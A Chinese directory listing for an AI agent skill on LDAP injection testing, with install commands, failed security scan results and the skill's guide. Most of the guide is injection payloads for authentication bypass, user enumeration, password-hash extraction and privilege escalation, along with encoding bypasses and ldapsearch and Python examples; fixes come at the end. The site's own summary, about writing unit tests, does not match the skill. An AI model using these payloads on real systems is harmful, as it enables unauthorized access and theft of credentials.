Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问许可证需确认审计异常

ldap-injection-testingLDAP 注入测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

674

周安装

27

GitHub Stars

3,461

下载量

218
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ldap-injection-testing(LDAP 注入测试)
来源仓库:https://github.com/ed1s0nz/cyberstrikeai
仓库路径:skills/ldap-injection-testing
安装命令:
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill ldap-injection-testing
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill ldap-injection-testing

简介

用于辅助测试设计、用例整理和回归验证。ldap-injection-testing 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

  • 适合编写单元测试、端到端测试或根据日志定位问题。
  • 可帮助生成测试计划和失败场景复现步骤。
  • 使用时需确认项目测试框架和运行命令,避免误改逻辑。
  • 涉及浏览器或外部服务时应区分模拟与真实环境。

SKILL.md

LDAP注入漏洞测试

概述

LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。

漏洞原理

应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。

危险代码示例:

String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);

LDAP基础

查询语法

基础查询:

(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))

特殊字符

需要转义的字符:

  • ( ) - 括号
  • * - 通配符
  • \ - 转义符
  • / - 路径分隔符
  • NUL - 空字符

测试方法

1. 识别LDAP输入点

常见功能:

  • 用户登录
  • 用户搜索
  • 目录浏览
  • 权限验证

2. 基础检测

测试特殊字符:

*)(&
*)(|
*))(
*))%00

测试逻辑操作符:

*)(&(cn=*
*)(|(cn=*
*))(!(cn=*

3. 认证绕过

基础绕过:

用户名: *)(&
密码: *
查询: (&(cn=*)(&)(userPassword=*))

更精确的绕过:

用户名: admin)(&(cn=admin
密码: *))
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))

4. 信息泄露

枚举用户:

*)(cn=*
*)(uid=*
*)(mail=*

获取属性:

*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*

利用技术

认证绕过

方法1:逻辑绕过

输入: *)(&
查询: (&(cn=*)(&)(userPassword=*))
结果: 匹配所有用户

方法2:注释绕过

输入: admin)(&(cn=admin
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))

方法3:通配符

输入: *)(|(cn=*)(userPassword=*
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))

信息泄露

枚举所有用户:

搜索: *)(cn=*
结果: 返回所有cn属性

获取密码哈希:

搜索: *)(|(cn=*)(userPassword=*
结果: 返回用户和密码哈希

获取敏感属性:

搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
结果: 返回多个敏感属性

权限提升

修改查询逻辑:

原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
结果: 可能绕过权限检查

绕过技术

编码绕过

URL编码:

*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C

Unicode编码:

* → \u002A
( → \u0028
) → \u0029

注释绕过

使用注释:

*)(&(cn=*
*)(|(cn=*

空字符注入

使用NULL字节:

*))%00

工具使用

JXplorer

图形化LDAP客户端:

  • 连接LDAP服务器
  • 浏览目录结构
  • 执行查询测试

ldapsearch

# 基础查询
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"

# 测试注入
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"

Burp Suite

  1. 拦截LDAP查询请求
  2. 修改查询参数
  3. 观察响应结果

Python脚本

import ldap3

server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
                        user='cn=admin,dc=example,dc=com',
                        password='password')

# 测试注入
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)

验证和报告

验证步骤

  1. 确认可以控制LDAP查询
  2. 验证认证绕过或信息泄露
  3. 评估影响(未授权访问、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和输入参数
  • LDAP查询构造方式
  • 完整的利用步骤和PoC
  • 修复建议(输入验证、参数化查询等)

防护措施

推荐方案

  1. 输入验证 private static final String[] LDAP_ESCAPE_CHARS = {"\\", "*", "(", ")", "\0", "/"}; public static String escapeLDAP(String input) {if (input == null) {return null;} StringBuilder sb = new StringBuilder(); for (int i = 0; i < input.length(); i++) {char c = input.charAt(i); if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {sb.append("\\");} sb.append(c);} return sb.toString();}
  2. 参数化查询 // 使用LDAP API的参数化功能 String filter = "(&(cn={0})(userPassword={1}))"; Object[] args = {escapedCN, escapedPassword}; // 使用API构建查询
  3. 白名单验证 // 只允许特定字符 if (!input.matches("^[a-zA-Z0-9@._-]+$")) {throw new IllegalArgumentException("Invalid input");}
  4. 最小权限

- LDAP连接使用最小权限账户 - 限制可查询的属性 - 使用访问控制列表

  1. 错误处理

- 不返回详细错误信息 - 统一错误响应 - 记录错误日志

注意事项

  • 仅在授权测试环境中进行
  • 注意不同LDAP服务器的语法差异
  • 测试时避免对目录造成影响
  • 了解目标LDAP服务器的配置

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

35.61%
按下载量换算78

Claude

30.24%
按下载量换算66

Cursor

19.39%
按下载量换算42

Gemini CLI

9.09%
按下载量换算20

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills